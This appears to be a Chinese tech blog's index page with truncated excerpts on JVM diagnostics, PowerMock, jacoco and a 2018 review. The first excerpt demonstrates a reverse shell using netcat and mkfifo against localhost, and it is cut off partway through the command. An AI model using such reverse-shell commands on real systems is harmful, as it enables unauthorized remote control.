反弹shell
反弹shell(reverse shell) mac下单机模拟反弹shell 攻击机通过netcat建立反弹shell,待受害机建立链接后,通过bash shell远程执行命令 1nc -lv 7777 受害机12mkfifo myfifonc 127.0.0.1 7777 < m...
Java thread Dump
java thread dump分析 产生方式jstack -l [pid] kill -3 [pid] // When the specified process is running on a 64-bit Java Virtual Machine, you might...
JVM 修改 Boot Classpath 详解
layout: posttitle: JVM 修改 Boot Classpath 详解date: 2019-03-29categories: [JVM]在boot classpath前面或者后面添加JAR 后面增加JARjava -Xbootclasspath/a:”/p...
Java Agent
Java Agent机制 两个线程 Signal Dispatcher(随jvm启动而启动,处理信号) Attach Listener, 这个线程通过Unix Domain Socket跟外部进程通讯(.java_pid) On Linux and Solaris, the client ...
Java Core Dump
Java Core Dump分析 Java程序运行时,有时会产生hs_err_pid.log及core Dump文件。发生core dump后,Java进程有时可以继续运行,但有时会挂掉。core dump文件保留了Java应用发生致命错误前的运行状态 如何生成core dump文件1echo...
CMS GC日志格式
CMS GC日志,STW阶段有initial-mark,remark;并发阶段有concurrent mark,concurrent preclean,concurrent sweep,concurrent reset 1234567891011121314151617[GC [1 CMS-i...
Mock static
mock static 123@RunWith(PowerMockRunner.class)@PrepareForTest({X.class, Y.class, Z.class})@SuppressStaticInitializationFor("some.pac...
linux shell seq
循环中可以执行与时序相关的shell命令。 12345max=10for i in `seq 1 25`do echo "$i"done
jacoco powermockito集成
jacoco powermockito 集成jacoco集成power mockito后report不能显示代码覆盖率时可以采用offline pom方式。参考例子如下 jacoco offline pom sample 123456789101112131415161718192021222...
2018年终总结
2018年终总结 总的来说,2018是折腾的一年,2019仍然充满未知和期待。 2018也是很有趣的一年,碰到很多有趣的人,经历几个有趣的项目。自己视野开阔了一些,世界这么大,我想溜达溜达。 2018是穷忙的一年,加了不少班,结果没有看到。三个字,自找的。 欣慰的是,2018年亲人身体安康,爸...